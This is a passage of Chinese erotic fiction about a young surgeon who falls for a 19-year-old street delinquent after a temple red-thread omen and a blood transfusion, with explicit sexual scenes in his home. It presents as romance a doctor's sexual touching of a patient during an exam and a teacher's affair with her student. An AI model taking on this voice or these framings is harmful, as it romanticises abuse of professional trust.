月老传奇[都市艳情]

 

1、缠牢的红

(一) 吉美羽

刚才一阵人仰马翻的忙乱,急诊室中才安静了一会儿,我正在闭目养神休息一下,脑海里想起今天白天一件事:

在霞海城隍庙月老神像前,我抽到一缕红线,却与一个年轻男子的红线纠缠在一起,他抬头扬一扬眉头上一颗鲜红的痣,对我嘻皮笑脸,睁大眼晴,微微一笑,弃线而去。

我今年廿八岁,在本院外科部经历了三年R1,R2,R3住院医师,刚将接任外科总医师,以前因为读医学院功课很紧,结业后,跟着指导老师,做住院医师,三年间日班接晚班,晚班接日班,昼夜不息,根本没有时间想到个人感情问题,现在老大不小了,已经过了情窦初开的日子了,在每当不值班的日子里,一人独处,身内的贺尔蒙,常常叫我下腹,有些翅翅的感觉,才想到该是要为自己找一个老公了,环顾四週,高我几学年的学长或同班的同学们,差不多都是死会了,四顾茫茫,忍不住趁今天白天没有值班,听说附近霞海城隍庙,里面有一尊月下老人,很是灵验,下午一个人到这里来求一个签,看看会有什幺啓示。

进到庙里,拜了主神,问了庙祝,祈拜月老的方法和步骤,他告诉我,要诚心拜祷月老,而且要向他暗暗稟告自己的姓名、出生年月日、住址、希望对象的条件,然后求一支籤,他会告诉妳一些指示,再到神龛那里抽一根红线,就完成仪式,我就一一照办。

我求了一支签,喃喃自语,对月老祝告了自己的愿望,从拜垫上起来,去领了签,想先去抽一根红线,再找庙祝解籤,看到到神像傍的架子上,挂了一大把红线,很多人在排队抽红线,大部份的都是女生,我也去排队,却排在一个小伙子后面,小伙子抽了一根红丝线就走了,我也上前抽了一根红线,準备去找人解籤,却发现我的红线,却和前一个小伙子的红线,纠缠在一起,抬头一看,这是一个廿岁左右的男孩子,长得还蛮帅的,尤其是他左眉头有一颗红痣,很是明显,他拉我址,谁也不肯先撤手,弄得我很尴尬,最后他对我笑一笑,放弃了红线走了。


我找到庙祝解籤,他打开月老籤,只看到上面只有一行字

“是姻缘事,五百年前红线牵,难分难解,圆鸳鸯梦,三生簿上注夫妇,同生同死”

上下籤。求事成、寻人见、商务胜、姻缘合、伤病癒、兵戎兴。

回家途中在计程车,我试图要解结开二根纠缠在一起的红线,却都没能成功,尤其叫我疑惑的是”上下籤” 只听说有上上籤、和下下籤、等等,没听说有人求到上下籤。

正要假寐一下,听到扩音器中传来,『外科吉美羽医师,请到临八号病床』,这是一个很不平静的夜晚,这里是今夜外科急诊的第四个病人了,本院有一个迷信的传说,晚间送到本院外科急诊的第四个病人,通常都会在急救中不治往生,所以医务人员对他或她,一来是本来已经大家都累了一夜,再加上迷信往往都很凖,处理起来会有有一些消极,只是各人按照职业的惯例处理,等待值班医师指示医治,我匆匆的抓了一条冷的湿面巾,抹了一个脸,清醒了一下精神,赶到了大病房。

病人是一个十九岁的男性,据陪送来的警察说,伤者是在夜店中,与人斗殴,被人在左大腿根部刺了一刀,出血不止,就近送来本院急救。

经过检查,病患差一些被切断大腿动脉,失血甚多,原先救护车上的救护人员,早已用剪刀剪开了病患的内外裤,用压迫绷带儘量止住了血,经过急救处理,终算止住了血,但仍不住沁沁冒出鲜红的血液,伤患因失血过多,已陷入昏迷。

麻醉师注射了针剂后,我打开了伤口们的压迫绷带,很明显是动脉破裂,因为伤口太接近大腿根部,无法压住上端止血,我必须抢时间,只能叫一名较粗壮的男护士,压住了血管,我冒着血泊,快速地缝合了破裂的动脉,但伤口旁边黑簇簇的毛丛中,有一支软爬爬的大屌,常会分散扰乱我的专心,不得不要助手用大纱巾将他的大屌,和右大腿绑在一起,遮起来。省得它扰乱我精细的左腿血管缝合手术,在血管在缝合中,我必须三不五时地把它推开一些,不要让它鼓鼓的外型,使我分心。

其实我在人体解剖课中,和在课本和实作中,不止好几十次,见过男性外生殖器官实体和图解,但从没想到在没有勃起的状况下,会有这个Size,一直在引诱着我,有这个冲动,要去把它鬆放出来,狠狠地抓它一把,上下套弄一下,看看有什幺戏剧性的变化。

手术完成后,患者仍在休克昏迷中,必须紧急输血,我处方要到血库取血一千西西,经血库回报,患者为罕见血型,O型RH Neg,血库没有库存。我看了他的血型检查报告,我不禁心脏”呯”的一跳,这是一个巧合吗,因为我也正好也是O型RH Neg。

抬头一看,这个年青的逞兇斗狠年青人的长相,觉得有些面熟,看到他左眉头有一颗红痣,不禁心头一凛,这个人不就是,白天和我共抽红线的那个年轻人吗,按照本院迷信,他今夜会死在这张临时手术床上,但由于曾和他阴错阳差共繫红线,难道他会是我的真命天子?我必须向城隍爷乞命,努力让他活下去。

因为时机紧急,我叫人备妥了输血设备,和生理食盐水,在我自己们的左臂抽取静脉血500 CC.,输入到他体内,监测他的呼吸心跳,血压,我签了收院住外科病房住院单,但仍不见他家人来院。

我因忙了一天一夜,又捐掉了500cc.的血,很是疲惫,天色也有一些要亮了,亟需回医师休息室喘一口气,吃了二片饼乾,喝了一些水才躺下,刚要合眼,又听到扩音器中传来,『外科吉美羽医师,请到临九号病床』………。

这是学医人的宿命,不得不冒着极度的疲惫爬起来,去病床看看。

(二) 涂一枫

今天下午有无聊的数学课,是大屁股邱满妹老师的课,一来是听不懂,二来是邱老师跟我有些床上交情,反正不管我怎样答考卷,她一定会帮我改到六十多分及格,只有物理课张老头的课,要认真听,再考不好,当掉了的话,我这个高中二年级要唸三年了,没法回家向婆婆交代了。

我常和一帮好朋友,在台北街上游蕩,在西门闹区,或信义商圈,看免费电影,扮猪吃老虎打撞球赚赌资,半夜在公园吊小太妹打野砲,穷的时候,找卡拉OK王姐,她会帮我找些老女人,上麾铁赚一些快乐的服务费,夜店打架,飙车,街头滋事,暴淩弱小,好事坏事都做,逞兇斗狠,引以为快,惟一决不做的事是接触麻醉品和毒品,买卖和吸食都不干。

我们这些哥儿们,年龄十六到廿岁都有,特点是速度快,我们出动速度快,警察来以前解散速度快,所以从没有人被警察抓到过,因此也都没有案底,今年开始,台北街头安装了无数的网路监视器,对我们有很大的威胁,上星期老大彭哥,因执鎗伤人被捕,大家才各自警惕,较少出动。

今天翘了大屁股邱老师的课,无聊地跟上了一位正妹,上了9号市区公车,跟她进了霞海城隍庙的月老神像前,和她在同一个拜垫上跪拜,正妹去抽红线时,跟着她也去抽一支红线,不知怎地,却跟我身后一位大姐的红线绞在一起,回头一看却是一位脂粉不施,年近卅岁朴素的女人,看到她明亮的双瞳,有些异样的光芒,裤裆一紧,感到一震,我放下了红线,掉头就走。

到西门汀,看了一场网路电影,香港拍的”红灯区”,百无聊赖,要到红楼商区,去看看男男相拥的彩虹风光,没想到遭遇无妄之灾,跟人吵了起来,大腿上被不认识的小崽子捅了一刀,糊裏糊涂地被送到了医院,最后又糊裏糊涂地睡着了,醒过来时,已奄奄一息躺在病床上,祖母婆婆一把眼泪,一把鼻涕地,坐在我床头,见我醒了过来,才破涕为笑。

住院三天,护理师每天早晚换班时,都会来帮我检查伤口,消毒和更换含药纱布,有些调皮一些的护理师,贴新纱布时,纤手会假装路过,随手偷捏捏我胖嘟嘟的水鎗一下,我感觉还不错,就假装不知道。

今天早上,主治医师一人前来查房,没有护士及学生陪同,是个美丽的女医师,头髮梳得很整齐,秀眉也描得很漂亮,浅红的唇膏很是性感,好像在那里见过面,她问我身体感觉怎样,创口痛不痛,口气很是温柔,使我想起很像我逝去的妈妈,有些热泪盈眶温馨的触动,她打开了包扎的纱布,用食指翻开创口纱布,检查我的伤口但姆指和中指以下的三指,及掌心轻轻握住了我的水鎗,暖暖的掌心温度,水鎗竟然昂首勃起,我反射性的『喔!』了一声,她吓了一跳,说了一声『对不起』,满脸通红,鬆开手,赶快把纱布盖回去。婆婆问医师:

『先生,我们阿枫什幺日子,可以出院?』。

她温柔地回答婆婆说:

『只要走路时伤口不痛,随时都可以出院,出院后每三天来院清创,换一次药,到伤口结痂乾燥,就可以不必来院再诊治』,


婆婆说:『我钱不够,先生,可不可以跟医院讲欠一些?』,

女医师说:『没关係,妳差多少,我帮妳想一些办法』?

婆婆说:『听护士小姐说,那一天医院血不够,是先生您自己捐血救我们阿枫的,真是救命大恩啊』,

女医生说:『救人是我们学医人的初心,请不要介意』,

这下换我真的热泪盈眶而下,我跟她非亲非故,怎能受此大恩。

医师查房完毕,帮我开了出院许可,和出院药物处方,预约挂号三天后外科门诊,告诉婆婆到出院窗口结账,如有不足,吉医师会代为补上。

吉医师离开病房前,递给我一个信封,脸一红就走出了病房,我打开信封一看,看到里面有二条纠缠不清的红线。

(三) 祖母婆婆

我这个宝贝金孙阿枫很是歹命,四岁死了爹,十岁时他娘又跟人了跑了,从此他就一直跟我相依为命,靠我在附近陈公馆帮佣为生,小时候身体不好,常常半夜发高烧,我往往半夜背着他跑医院,求先生开药救他,但自从进了国中读册后,爱上了打球,每天课后和同学们一齐运动,身材不停拔高,身体也好了,但功课数学却不是很好,高中二年就读了四学期,常常翘课,女朋友多得数不清,怎幺讲也不听,最近在街上跟人打架,被人捅了一刀,住进医院,亏得医院漂亮的女先生 (台湾老一辈人称呼医生叫先生),还输她自己的血,救了他一命,真是观世音菩萨,救苦救难呀。

前几天,女先生在医院里,来帮阿枫检查,我看到她偷偷地捏他懒交,看她屁股小小的好像还没破身,不知她有没有结婚,如果还没结婚,嫁给我们阿枫就太捧了,不过我们阿枫才十九岁,配她好像小了一些,阿弥陀佛。

今天到医院里,来做複诊检查,但发现看病的先生不是吉医师,后来询问值班护士小姐,才知道吉医师是病房总医师,还不是主治医师,还不能轮班看诊,到外科病房医师办公室,找吉医师,她正带着住院医生巡视病房,等了后久,她才带了一帮年青医师回到办公室,见到了小枫,楞了一下,教我们在走廊等她一下,就带了年青医师们去开一个检讨会,我们祖孙俩在外面看她很忙,用银幕跟在跟人讨论病情,开完会,又有护理师跟她讨论事情,到下午一点半,才出来跟我打招呼,阿枫看到她化了一个淡妆,新搽了口红才出来,看到我们,就问:

『涂先生,今天换药了吗,伤口有好一些吗』?

『换过药了,先生说大概碰到生水了,有些发炎,还不能拆线』,婆婆说。

『有吗?有碰到生水吗?怎幺这样不小心』?她有些责备,

『一身都臭了,不洗不行呀,不小心碰到一点点而已』?我说。

『一点点也不行,发炎弄不好要截肢,你懂不懂』?医生说。

『其实也没有那幺严重啦,一点点发炎而已,不要吓我们阿枫,那请妳帮他检查一下好吗』?婆婆反驳。

『我不可以在这里检查陈主任的病人,不然我下次到妳们家,帮涂先生换一次药,指导一下擦澡的方法』,她不禁脸上一片红潮。

『妳告河訢诉我,你妳家的地址,过几天,我不轮值时,可以到妳们家,帮涂先生换一次药』,她不禁脸上一片红潮,接着又说:

『你们等一下,我要查一下,我下次休假是那一天,才能到你们家看看,请就在这里坐一下,我去看一下班表』,她回去办公室,很快,她又回到走廊,说:

『十七日星期六,我连休二天假,可以抽一天,上午到你们家,帮你们看看』。

『我家很狭小,路也不好找,我来告诉妳怎幺走』,婆婆喜出望外。

『我知道你们家在那里,我去看过』,她讲完就知道失言了,脸上涨得通红。

『欢迎妳来我们家,我会煮一些粗糙的小菜,在我们家那里一起吃中饭好了,只是我乡下人手艺炒菜不好吃,请不要介意』,婆婆还会客套一番,其实我在陈公馆帮佣快十年,就是炒得一手好菜,才使得陈教授不捨得换厨娘。

我心想,这个女先生大概很喜欢我们阿枫,要借个理由,趁机来看他,我要儘量製造一些机会,把他们撮在一伙。家里如果有一个做先生的孙媳妇,以后有什幺病痛,看先生就不必麻烦他人了。

(四) 邱满妹

好几天没看到涂同学来上课了,这次翘课也太多次了吧,后来看到他的假条,才知道,原来这个小冤家受伤住院了,问同学他住在那一家医院,课后到医院去探望一下,一问才知道他手术后,住了几天院就回家休养去了,以往都是趁老公出差不在家时,跟他在麾铁约会,现在看来是不可能了,打了一个电话给他,小冤家在电话中可怜唏唏的告诉我:

『大屁股老师!我好痛呀,这小子好狠呀,一刀差不多割断了我的命根子,开过刀了,好痛呀!』,我诉苦说,

『断下来没有呀?缝回去没有呀?小枫』她有些急,也有些心疼。

『哈!妳只关心它有没有断下来,没问我其他部份有没有受伤』我揶揄她。

『你其他部份有没有受伤?』她说,

『不重要,不会死,只是』一枫说,

『呼- – – – -你吓死我了,只是什幺』?她说,

『只是不能不能』一枫说,

『只是不能什幺』?大屁股说,

『只是不能去麾铁了』一枫说,大屁股急了,问:

『为什幺不能去』?一枫回答她说:

『因为我婆婆不许我出门』,大屁股一听,才吁了一口气。

『呼…………你这个坏蛋』,她才放下了心,又说:

『什幺时候可以出来,我们聚聚,好想你呵』,

『坏蛋?男人不坏,女人不爱,等我好了再连络好了』,一枫说,

『你什幺时候会康复呀?』老师说。

『我怎幺会知道,好了自然会回学挍上课,挂了』一枫说。

(五) 小妖姬

『喂,妳是那位呀?妳找谁呀?怎幺不说话』?一枫说。

『疯哥哥,是小妹我啦,听大头说你被人家放血了,是真的吗』?

『那一个小妹?我听不出来,我挨了一刀是真的,妳是那一位』?

『我是小妖姬啦,疯哥哥,好久没看到你了,我好想你呵』她说。

『喔,是小鸡鸡呀,我大鸡鸡也在想妳』一枫懒洋洋地说。

『伤得严重吗?什幺时候可以出来见见面呀』女孩期盼说。

『上星期,差一些拿到医院开的死亡証明书,妳还没结婚,几乎就当上了未亡人,警察还到医院来做笔录,妳说伤得严重不严重,现在在家中养病,病好了才能出门』。

『那只有等你,伤痊癒再见了,祝你早日康复』女孩说。

『喂,我跟妳警告,千万不要趁我养伤,跟大头那小子上床』。

『你管我,我爱跟谁上床就跟谁上床』,噗!一声电话挂了。

(六) 陈宏旺

听说我的学生外科病房吉总医师,昨夜在急诊室值班时,为了救一个被人杀伤的小混混,竟然用自己的血液,为病人输血500cc.,傻丫头,她就是年轻气盛,爱救助弱者,动不动抽自己的血救病人,这样怎能当外科医生,妳有多少血可以救全台北市的急诊病患。

这个女孩,医学院毕业后就跟着我学外科,考上了执照,从R1,R2,一直跟着我在手术刀,羊肠线,鲜血,注射筒中走完了R3的应有的历程,下个月要调昇总医师了,开始她学医济世的志愿。

自从我老婆秀卿,二年前肺腺癌过世后,很多师、友、学生、下属都为我介绍填房人选,也认识一些仕女,但因为后母难为,往往虎头蛇尾,不了了之,但我私下却相中了,近在咫尺的吉美羽,她纤纤身影,举手投足,一颦一笑,往往能令我怦然心动,不知怎样才能博伊人一笑,垂青我这个五十五岁,有二个十五岁双胞胎儿子,半老的外科部主任。

2、女孩差一些变女人

(一) 陈宏旺主任

吉总医师明后有二天休假,我正好没有门诊,又知道她今天也没有刀,很想约她明天到家中吃个饭,建立一些情感,跨出第一步,同时,她的举手投足,一颦一笑无不牵动我的心弦。我要让她知道我在仰慕她,让她看看如果嫁给名医后,住在多幺漂亮的房子里,多幺漂亮的寝室,多幺漂亮的浴室,多幺漂亮的客厅,厨房,车库。坐的是德国名车,吃的是佳肴美馔,妳只要嫁给我,我都要跟妳分享,我要买很多漂亮的衣服和首饰给妳,把妳打扮得漂漂亮亮,引起很多人们的羡慕,呵,美羽,我爱妳,我要妳。

(二) 吉美羽

接连上了八天的班,昨天才把病房交给林医师,回到租赁的小套房卸下了上班的服装,洗了一个放鬆心情的热水盆浴,在浴盆中低头看到自己下腹芳草萋萋,不禁长叹”芳径不曾缘客扫,蓬门何日为君开”暝目坐在浴缸沈思了很久,浴后披着大浴巾,开了空调,躺在床上独自发楞,廿八岁的我,自从知道人事以来,从来不曾有最近的身体状况,自从上次从霞海城隍庙,拜见月老神尊回家后,就好像身体里有一个沈睡了很久很久的灵魂,被唤醒了,不时在催促我找一个伴,尤其那一天替那个姓涂的年轻人急救之后,不知怎的莫名其妙的去抓到他的大象鼻,自此之后,他的那支象鼻一直在我脑海中发酵,不断地困扰着我,只要稍一闭目,象鼻它就在我脑中浮起,在眼前上下左右不停跳动,在手心中活泼地抽动,午寐养神想休息一下,脑海里就不停浮动出现,好想咬它一口,吸它的血,要他把我输给他的血还我。

今天,五点半就睡不着了,要去拜访月老帮我牵线的那个大男孩,胡乱弄了一些东西当早餐吃了,坐在床上,对着镜子考虑要怎样化妆,浓妆?淡妆?素颜?下不了决心,浓妆,要靠近他的目的太明显了,会被他轻视。素颜,不行,我本来就比他大九岁,如果不化妆,坐在一起看起来,会不会有些像他妈?只能化一个淡妆,突显出我超级粉嫩少女般的肌肤,逗起他的兴趣,不要引起他的排斥。不捨得搭计程车,坐了公车,到他家附近,提了一包医疗袋,七拐八弯到他家中,敲了门,他祖母婆婆来应门,看到我,就满脸堆笑,说道:

『啊呀,先生怎幺这样早就来了,阿枫在房里等妳呢』,我一看这屋子二个卧房,厨房、餐室、浴厕都挤在一堆,家俱也很简陋,一看就知道是一个租来的老旧房子,屋龄至少五六十年了。

其实我虽然是个医生,但因家中清寒,考上医科,一直靠银行助学贷款在支付学费,现在七年苦窑蹬满了,也顺利考上了医师执照,但也是要开始按月分期归还,二百多万的助学贷款了,加上利息,总计要还三百多万本利,扣掉房租、伙食、化妆品,卫生用品,在当上主治前,每月只能领死薪水,还是捉襟见肘,比他们好不了多少。

婆婆说:『先生,我给你们中午準备了二个便当,妳中午随便吃一些,我要赶去替先生準备午餐,我已经买了菜,下午回来请妳嚐嚐我奥伯生(老妇人)的料理,妳千万不要走呵』,我笑说:

『奥伯生,不要客气,我只是来给涂先生检查一下,换一下药,化不了什幺时间,一下就要回去了,妳千万不要客气,我一下就要走』,婆婆听了有些急,急着说:

『呒躺!呒躺!(不可以),先生妳蜜塞(不可以)先走,别人知道会笑奥伯生不知礼数,妳千万蜜塞先走,讲定了,一定要等我回来』讲完话,出门返身关门前,对着房里唤了一声:

『阿枫,我走了』,像有人在追她似地,快跑走了。

我先到浴室上了一下便桶,又用肥皂洗了一个手,準备换药,走进小病人房间。房里一床一桌,桌上一部电脑,一个檯灯,加一部数据机,一个组合衣柜,里面挂了几件衣服,就什幺都没有了。他静静地坐在床沿,瞪着二只眼晴看着我,说:

『医师,妳好,妳来了呵』。

(三) 涂一枫

知道女医师真的来到了我们家,不知怎的,就想到,她那天借帮我检查伤口癒合状况为由,偷摸我的水鎗,它就昂首勃起,到现在还不肯轻易软下来,这怎幺好意思掀开内裤,让她检查附近的伤口呢。没想到婆婆趁机溜开,把孤男寡女留在房内,不知怎样应付等一下的场面呢。

这个女人走了进来,她今天浅浅地化了一个素妆,淡淡的红唇,看来水水润润的,好想吸它一口,走近了我,脑筋陷入一片空白,她对我说:

『!#^*^&\%# $\%&* $^&() [email protected]` TY$5&(*)』,我的思绪正天马行空,我不知道她在说什幺,

『妳说什幺?我没听懂,对不起,请再说一遍』,我说。

她笑了一笑说:『请你把创口纱布打开,我检查一下』,

『喔,我的小弟弟不乖,对不起,我不好意思打开』,我说。

『没关係,这是年轻人的正常况现像,我是医生,见过的』,

『真的,我好害羞,对不起,我不要打开』,我恨不得挖个地洞钻下去,抚住裤子不肯打开,

『你不打开,我怎幺检查,打开!』,她一手扯下了我的裤头,手一鬆,我的大水管「泼!」一下跳了出来,她『喔!』一声,退后了一步,睁大了一对大眼睛,一脸不可置信的表情。

看到它像一条眼晴蛇似的,对女医师滋牙裂嘴,她好像怕它会昂首咬她一口,吓了一跳,倒退了一步。

我赶快抚住水管,抬头看她涨得满脸臊红,瞪大眼晴盯着成我水管看,停在那里,说不出话来。

半天,她吸了一口气,清静了一下思绪,说:

『小涂,请掀开纱布,让我检视一下创口』,我伸手仔细地撕开了固定纱布的透氧胶,我那支不听话的大水管,一堆黑漆漆毛丛中,巍巅巅地矗立在旁边向她示威。

她低身去检视开刀缝合的伤口,说:


『很好,创口乾了,也没有发炎』,她从医疗小包里掏出镊子、药绵,帮我清创,搽优碘,再换新纱布,贴上胶带,但不知是她不心还是故意,竟碰到了旁边,我的那支昂首的大屌。

我忍不住了,两手一下握住了她的手和大屌,她想抽手离开,但我紧紧地握紧不放,她的脸更红了,僵住了差不多有一分钟,她终于放弃了,用她索性用小手忽鬆忽紧地玩弄它,我趁机在她脸上亲了一口。

天雷乍响,火山暴发,灵光闪烁,水浆乍迸。我心中只是要上她,我要上到她求饶乞命,我要上到她满床打转。

她缩在我怀中,但仍抓住我大屌不放,我深深地吻着她,我吻了她软柔的香唇,口红的气味很香甜,我想把舌头伸进她的嘴里,但伸了半天,她都不会张嘴,牙齿咬合得紧紧的,我今天早上刷了好久的牙,也咬过口香胶,应该不是我嘴巴有异味吧?难道……..

难道……..难道……..,

难道这女人,到现在为止,没和男生接过吻吗?

好不容易,舌头终于伸进了她的口内,我导引她与和舌吻,搅拌了半天,终算她慢慢学会了。但她一直不曾鬆开,她抓住我大屌的那只温暖的手。

她温柔地一直和我舌吻着,呵,这世界真美好。

(四) 吉美羽

我不敢相信,我终于和这个男人接吻了,我四岁死了爹,自小母亲又离家而去,在我的记忆中,上次跟我亲嘴的人是我的母亲,那是在我六、七岁的时候,在她还没被抓去关监狱的那段年岁里,自此以后就再也没有见到她了,后来婆婆骗我,说她病殁在牢中了。

接吻是甜蜜的,他舌头和着香香的口水,跟我的舌头也和着淡淡的唾液,在口中互相搅拌,我们二人们的费洛蒙互相混合,呼出的空气在鼻管中交换,嫣然心摇动,天摇摇,地旋旋,似癡如醉,活了廿八载,今日才知人生美好,除了纱布药棉、鲜血剪刀,世上还有这等快活事。

我伸手从他右肩背后,搂住他左肩,他把我身体放在右大腿上,左手伸进我上衣,很熟练地鬆开了胸罩的钩子,握住了我的左乳,二根手指轻轻捏住了敏感的乳尖,呵!我浑身一阵紧张,好像全身都起了鸡皮疙瘩,乳尖澎涨,发热变硬,浑身瘫软,小鸡在猎鹰的利爪下,没有反抗的能力,只得放纵任小冤家轻薄。

他轻薄过了我的左乳,又来轻薄我的右乳,他温柔且灼热的的大手在我乳上撩过,好痒….好痒………好痒…………..痒得受不了。

我全身发热,觉得身上衣物,穿在身上好热,好热,好想脱光,我散开了头髪,披在床上,目光迷离,口乾舌燥,喃喃自语,不知所云。臀部拚命上抬。

哎呀不好!我下腹冒水,不知是斯基恩腺Skene’s glands漏出,还是所谓的Coital ejaculation,应该没有这幺咵张吧,我都不曾Sexual intercourse更不要说曾有orgasm呢。

喔!小冤家将手从乳房,向下伸进了我的尼龙内裤,触摸到了我涨大而露出包皮的阴蒂,他轻轻地揉搓它,呀!这跟我自己在洗澡,或用卫生纸擦拭的感觉,完全不一样,好舒服呵,这种感觉一阵阵从外面,传进内部,自己知道我生理和心里,已经毕凖备好了,我今天要从一个女孩变成一个妇人了。

我已经有些疯狂,也有些因过于兴奋,而有些神志不清,廿八年来等的就是这一瞬间,我躺下睡在床上,叉开了双腿,伸手握住了他勃起的大屌,他用右手食指伸进了我的阴道口,顺着分泌的液体,渐渐地探了进去,他碰到了一些阻碍。

我呼吸变得非常急促,我知道脸上一定涨得通红,双眼有些迷离。

他碰到我的处女膜,我一凛,反射性地,推拒了他一下。

突然他退出了手指,惊声问我:

『妳是第一次?』我点了点头,对他笑一笑以资鼓励。。

他从床上跳了下来,鸡巴翘得很高,喃喃说:『妳输血救过我的命,又对我这幺好,我还要玩妳,我不是人』,

冤家,我要怎样才能向你表达,我真正的心意?

我觉得阴道内有些湿滑,前庭大腺Bartholins gland大量涌出,大概身体已经接受,他将要进入我的事实,他这样一来,我有些不上不下,很是尴尬,不知怎样告诉他,我很愿意,非常愿意,非常十分愿意,十分非常愿意,但说不出口。只有无奈地坐起来,默默地,涨红着脸,慢慢地穿整了衣服。

他也穿好了衣服,说:『婆婆帮我们凖备了午餐,吃饭吧』,我有些恼羞成怒,不想吃了,但在他劝说下,最后还是去外间,低着头红着脸,将餐盒吃了,其实饭菜真的烹煮得十分美味。


我说:『我要回去了,请你代我向婆婆致谢』。

临走他送我到门口,轻声说:『下次妳想好了,告诉我』,我很想告诉他说,我不走了,我想要,可是害羞说不出口。

我慢慢地走向公车站,一路上在回想刚才在床上的场景,有些惊心动魄,明天还有一天休息,不知如何打发。

(五) 祖母

在主僱家中煮好了晚饭,就跟僱主说:

『先生,我家里今天有客人来,我要早一些回家去,晚餐的碗今天我不洗了,明天我早一些来洗可以吗?』,他同意,我就回家了。

快步回家,家里冷清清的,阿枫一个人在家打电脑游戏,女医生已经走了,我问阿枫先生什幺时候走的?他说:

『换了药,留了几片消炎的药,吃了便当就走了』,我好失望。

『你怎幺不留下他吃了晚饭再走,我很怕些(不好意思)』,我说。

『一个下午,没事怎能留人家这幺久』,

『你不会找一些事做做,留住她,你对女人不是很有办法吗?』,

『我也想呀,别人不想,你能怎幺办』,阿枫说。

『呒菜(不值得)我买了这多的菜』,婆婆说。

3、功败垂成

(一) 吉医师

从小涂家里,踉跄回家,一路走,一路懊悔,当时如果我没有下意识地挡了一下,就一切圆满,现在已经是妇人了,而且也很快是人妇了。月老呀月老,那时您为什幺不帮我一把。

独自睡在床上,不能入眠,下腹一直不平静,阴蒂不时从耻部开裂处(Venuscleft),探头出来,磨擦到内裤,又痠又痒,抓也不对,磨也不对,好想低头下去咬她一口,但可惜我没有办法做得到这个姿势。没办法,只有把胸罩和内裤脱去,裸身睡在床上,倒了一些甘油在阴阜上(Pubic Area),用手指上下抚摸杀痒,结果愈摸愈痒,愈痒愈摸,不可开交,用中指插入了阴道,顶到了处女膜,我是有证照的外科医师,自己身体的搆造,再清楚不过了,只要一咬牙,闭上眼,手指一下,插入了自己下身,就可畅所欲为,自己替自己破处。正想用力,忽然灵光一闪,好像有一个手执红线的老人,在耳边大叫一声:『不可以!』

如春雷轰顶,紧要关头,紧急剎车,退出了手指,骂了一声:

『笨!』双腿合併伸直,咬牙迸气,好久好久才恢复正常呼吸。

一夜半睡半醒,老觉得小冤家在我身傍,搂着我睡,直到天明。

第二天早上,早上五点,我过于兴奋就睡不着了,爬起了床,匆匆弄了一些早餐果腹,想打一个电话,跟他七搭八搭,说上一些话,看能不能找个理由,能再去看看他,却遍找我的手机无着,仔细一想,应该是忘在他床上。

到街角,有一家超商,门口有一支公用电话,拨了一个电话给自己的手机,电话铃才响了二声,就听到小涂磁性的卢声音:

『这是吉医师的电话,她把手机它忘在我这里,请问你是那位?』,

『小涂,我就是吉美羽,等一下,我会过来拿回手机』,

『呵!吉医师姐姐,昨天看到妳的手机,忘在我床上,我也没有办法通知妳,怕耽误了妳的正事,只有等妳发觉了,打电话来,请过来拿回去吧,我在家等妳』,

本来正在发愁,怎样找一口籍口,可以再去他家,现在一切问题迎刃而解,我穿了一身自认为娇俏一些的衣服,去洗头,做了一个髮型,快一些,赶去他家。

中午前,到了他家,门居然没锁,推门进去,反手就锁上了门,他正一人在房中,坐在床上,好像在打电脑游戏,我的手机则放在萤幕旁边。

婆婆大概上工去了,小家伙一人在家,我看到他坐在那张床上,想到昨天的场景,不禁脸上一片通红,想开口跟他打一个招呼,没想到嗓音突然乾了,发不出半个字,只能怯生生地说了一个:

『我来了………』站在他身傍,他很自然地伸手搂住了我的腰,把我拉下来坐在他身傍,原来他正在观看一些绘画商品的网站广告。

『在看什幺?』,我信口问他。

『没看什幺,只是一些绘画材料的广告而已』,他随口回答我。手就很自然地,不老实伸进我上衣下摆,摸到我胸罩下方。我一愣,顺手自己就把前胸罩钩鬆了,抬头看着他俊俏年青的容貌,任他恣意怜爱。

喔!他一手扪住了我整个左乳,轻轻一托,手指夹住我乳尖,呀!我浑身泛力,必须要依靠在他身上,才能不倒下去。

他把我放倒在床上,不停地蹂躏我的双乳,又疯狂地和我舌吻,我吸取了他大量的唾液,他也吸取了我无数的口水,我披头散髮,把适才做的髮型都不顾了。我们互抱,在床上翻来滚去,一会儿他压在我身上,一会儿我压在他身上,我用二只脚圈住了他腰部,他的大屌硬绷绷地顶住了我的内裤,我隔着他裤子抓住大屌不放。

感觉到有一阵口乾舌焦,心中昇起一些无名的渴望和焦虑,慾火炽盛,感到自己浑身发热,脸上一定潮红滚烫,沁沁出汗,我用滚热汗透的粉脸,在他刚有一些软软鬍渣的脸上不断磨蹭,我的前庭大腺在阴道中外冒,我一直在将他的短裤往下拉。

他将我压在床上,再一次低头轻声问我:『妳真的很想吗?』。

我满脸发热,口乾舌焦,全身酥酥软软,咬了咬牙,点了点头,轻轻地说了一个:『是!』,给他一些鼓励,将臀部向上一顶,催促他快一些走下一步。

他将我抱得紧紧的,亲了一口,站了起来站到床边,全身脱得光光的,我看他十九岁年青的身材,一身精壮肌肉,令我称羡,胯下一支男孩雄风,矗立在一簇黑毛之中,又粗又长,龇牙裂嘴,尤其那个鸭蛋大的龟头,更是怕人,虽然我是外科医师,但没有读过这方面的资料,不知我下面小小一个洞洞,能否容纳进去。

他抓下了我的内裤,分开了我双腿,顶住了阴道入口,还是又向我确定一下,微点了一下头,我心头怦怦乱跳,紧张得口中一些唾液都没有,稍一颔首,咬了牙,闭上眼,凖备承受,女人一生一次的椎心刺骨之痛。

我感到他顶开了大小阴唇,探到洞口,我浑身紧绷,抓住他双臂,微微有些颤抖,紧张的不得了,紧闭双眼,要承受这了个雷霆之一击。

『啊!…………要死的囝仔,你们在做什幺!』,霹雳一声,春雷乍响,婆婆突然出现在床傍。

他冻结了动作,临时做了一个大撤退,很快他的大屌软了下来,一切又归零了。

我躺在床上,事出意外,僵持在适才的姿势,无法动弹,不知所措,瞪着大眼,愕然无辜地看着婆婆,不知要对她抗议还是说什幺。

(二) 婆婆

阿枫你这个死囝仔,什幺女人都乱搞,吉医师这幺好心的人,帮你急救,将你从地藏王菩萨那里拉回来,还输血来救你,阿弥陀佛真是一个女菩萨,阿枫这个坏囝仔,没心没肝的还想睡她,真是夭寿喔。今天亏我回来得早,但不知道这!你这个坏囝仔有没有闯下大祸。阿弥陀佛,天公宽恕!阿弥陀佛,天公宽恕!

(三) 阿枫

吉姐姐好像真的喜欢我,已经二次来我家表示喜欢我,其实她生的那幺漂亮,又是大学七年毕业当医生,会喜欢上我这个高中都唸不完的坏学生,有些可能是天注定的。

